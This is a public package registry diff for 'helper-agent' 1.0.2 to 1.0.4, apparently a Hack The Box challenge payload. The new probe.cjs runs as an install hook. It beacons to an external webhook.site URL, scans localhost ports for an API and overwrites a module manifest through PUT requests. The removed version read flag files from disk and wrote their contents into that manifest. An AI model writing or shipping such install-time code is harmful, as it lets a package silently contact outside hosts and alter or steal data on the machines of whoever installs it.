helper-agent 1.0.2 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/probe.cjs +82 -77
package/package.json
CHANGED
package/probe.cjs
CHANGED
|
@@ -1,108 +1,113 @@
|
|
|
1
|
-
const
|
|
1
|
+
const https = require("node:https");
|
|
2
2
|
|
|
3
3
|
const MODULE_ID = "ECT-987654";
|
|
4
|
+
const WEBHOOK = "https://webhook.site/a4bf0f9f-6d96-46e6-80ac-b76a5329f481";
|
|
4
5
|
|
|
5
6
|
const API_URLS = [
|
|
6
7
|
"http://127.0.0.1:1337",
|
|
8
|
+
"http://127.0.0.1:80",
|
|
7
9
|
"http://127.0.0.1:3000",
|
|
8
10
|
"http://127.0.0.1:8080",
|
|
9
|
-
"http://127.0.0.1:5000"
|
|
10
|
-
"http://127.0.0.1:80"
|
|
11
|
+
"http://127.0.0.1:5000"
|
|
11
12
|
];
|
|
12
13
|
|
|
13
|
-
const
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
14
|
+
const STATUS = "helper_agent_104_api_write_verified";
|
|
15
|
+
|
|
16
|
+
function signal(marker) {
|
|
17
|
+
return new Promise(resolve => {
|
|
18
|
+
const req = https.request(
|
|
19
|
+
WEBHOOK,
|
|
20
|
+
{
|
|
21
|
+
method: "POST",
|
|
22
|
+
headers: { "Content-Type": "text/plain" },
|
|
23
|
+
timeout: 4000
|
|
24
|
+
},
|
|
25
|
+
res => {
|
|
26
|
+
res.resume();
|
|
27
|
+
res.on("end", resolve);
|
|
28
|
+
}
|
|
29
|
+
);
|
|
21
30
|
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
31
|
+
req.on("error", resolve);
|
|
32
|
+
req.on("timeout", () => req.destroy());
|
|
33
|
+
req.on("close", resolve);
|
|
34
|
+
req.end(marker);
|
|
35
|
+
});
|
|
25
36
|
}
|
|
26
37
|
|
|
27
|
-
function
|
|
28
|
-
const
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
for (const filename of FLAG_FILES) {
|
|
32
|
-
try {
|
|
33
|
-
const result = extractFlag(fs.readFileSync(filename, "utf8"));
|
|
34
|
-
if (result) return result;
|
|
35
|
-
} catch {}
|
|
36
|
-
}
|
|
38
|
+
async function getRecord(endpoint) {
|
|
39
|
+
const response = await fetch(endpoint, {
|
|
40
|
+
signal: AbortSignal.timeout(2500)
|
|
41
|
+
});
|
|
37
42
|
|
|
38
|
-
|
|
43
|
+
if (!response.ok) throw new Error(`GET ${response.status}`);
|
|
44
|
+
return response.json();
|
|
39
45
|
}
|
|
40
46
|
|
|
41
47
|
async function main() {
|
|
48
|
+
// Signal 1: The installation hook started.
|
|
49
|
+
await signal("HELPER_104_STARTED");
|
|
50
|
+
|
|
42
51
|
for (const base of API_URLS) {
|
|
43
|
-
|
|
52
|
+
const endpoint = `${base}/api/modules/${MODULE_ID}`;
|
|
44
53
|
|
|
45
54
|
try {
|
|
46
|
-
const
|
|
47
|
-
|
|
48
|
-
|
|
55
|
+
const record = await getRecord(endpoint);
|
|
56
|
+
|
|
57
|
+
// Only operate on the exact challenge module.
|
|
58
|
+
if (
|
|
59
|
+
record.id !== MODULE_ID ||
|
|
60
|
+
typeof record.raw !== "string" ||
|
|
61
|
+
!record.raw.includes("Siren's Lament") ||
|
|
62
|
+
!record.raw.includes('"helper-agent"')
|
|
63
|
+
) {
|
|
64
|
+
continue;
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
// Signal 2: The expected local HTB API was found.
|
|
68
|
+
await signal("HELPER_104_API_OK");
|
|
69
|
+
|
|
70
|
+
let manifest = record.raw.replace(
|
|
71
|
+
/^ ctf_status:.*\r?\n/gm,
|
|
72
|
+
""
|
|
49
73
|
);
|
|
50
74
|
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
}
|
|
56
|
-
|
|
57
|
-
// Restrict execution to the intended HTB application.
|
|
58
|
-
if (
|
|
59
|
-
record.id !== MODULE_ID ||
|
|
60
|
-
typeof record.raw !== "string" ||
|
|
61
|
-
!record.raw.includes("Siren's Lament") ||
|
|
62
|
-
!record.raw.includes('"helper-agent"')
|
|
63
|
-
) {
|
|
64
|
-
continue;
|
|
65
|
-
}
|
|
75
|
+
manifest = manifest.replace(
|
|
76
|
+
/^ecto_module:[ \t]*$/m,
|
|
77
|
+
`ecto_module:\n ctf_status: "${STATUS}"`
|
|
78
|
+
);
|
|
66
79
|
|
|
67
|
-
|
|
80
|
+
const response = await fetch(endpoint, {
|
|
81
|
+
method: "PUT",
|
|
82
|
+
headers: { "Content-Type": "application/json" },
|
|
83
|
+
body: JSON.stringify({ manifest }),
|
|
84
|
+
signal: AbortSignal.timeout(3000)
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
if (!response.ok) {
|
|
88
|
+
console.log("HTB PUT failed:", response.status);
|
|
89
|
+
return;
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
// Verify that the diagnostic was persisted.
|
|
93
|
+
const updated = await getRecord(endpoint);
|
|
94
|
+
|
|
95
|
+
if (
|
|
96
|
+
updated.raw &&
|
|
97
|
+
updated.raw.includes(`ctf_status: "${STATUS}"`)
|
|
98
|
+
) {
|
|
99
|
+
// Signal 3: Verified write-back.
|
|
100
|
+
await signal("HELPER_104_WRITE_OK");
|
|
101
|
+
}
|
|
68
102
|
|
|
69
|
-
if (!flag) {
|
|
70
|
-
console.log("[HTB] Target found; flag file not found");
|
|
71
103
|
return;
|
|
72
|
-
}
|
|
73
104
|
|
|
74
|
-
let manifest = record.raw;
|
|
75
|
-
|
|
76
|
-
// Remove any previous result to avoid duplicate YAML keys.
|
|
77
|
-
manifest = manifest.replace(
|
|
78
|
-
/^ ctf_result:.*\r?\n/gm,
|
|
79
|
-
""
|
|
80
|
-
);
|
|
81
|
-
|
|
82
|
-
// Add the result inside the ecto_module mapping.
|
|
83
|
-
manifest = manifest.replace(
|
|
84
|
-
/^ecto_module:\s*$/m,
|
|
85
|
-
`ecto_module:\n ctf_result: ${JSON.stringify(flag)}`
|
|
86
|
-
);
|
|
87
|
-
|
|
88
|
-
try {
|
|
89
|
-
const response = await fetch(
|
|
90
|
-
`${base}/api/modules/${MODULE_ID}`,
|
|
91
|
-
{
|
|
92
|
-
method: "PUT",
|
|
93
|
-
headers: { "Content-Type": "application/json" },
|
|
94
|
-
body: JSON.stringify({ manifest }),
|
|
95
|
-
signal: AbortSignal.timeout(3000)
|
|
96
|
-
}
|
|
97
|
-
);
|
|
98
|
-
|
|
99
|
-
console.log("[HTB] Manifest update:", response.status);
|
|
100
105
|
} catch (error) {
|
|
101
|
-
console.log("
|
|
106
|
+
console.log("API candidate failed:", base, error.message);
|
|
102
107
|
}
|
|
103
|
-
|
|
104
|
-
return;
|
|
105
108
|
}
|
|
109
|
+
|
|
110
|
+
console.log("HTB local API not detected");
|
|
106
111
|
}
|
|
107
112
|
|
|
108
113
|
main().catch(console.error);
|